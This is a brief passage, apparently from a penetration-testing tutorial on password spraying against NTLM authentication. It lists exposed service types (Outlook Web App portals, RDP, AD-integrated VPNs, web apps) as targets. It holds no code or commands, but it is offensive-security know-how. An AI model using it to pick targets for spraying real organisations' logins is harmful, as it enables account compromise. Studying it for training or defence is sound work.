NTML Password Spray

Services that use NetNTLM can also be exposed to the internet. The following are some of the popular examples:

• Internally-hosted Exchange (Mail) servers that expose an Outlook Web App (OWA) login portal.

• Remote Desktop Protocol (RDP) service of a server being exposed to the internet.

• Exposed VPN endpoints that were integrated with AD.

• Web applications that are internet-facing and make use of NetNTLM.
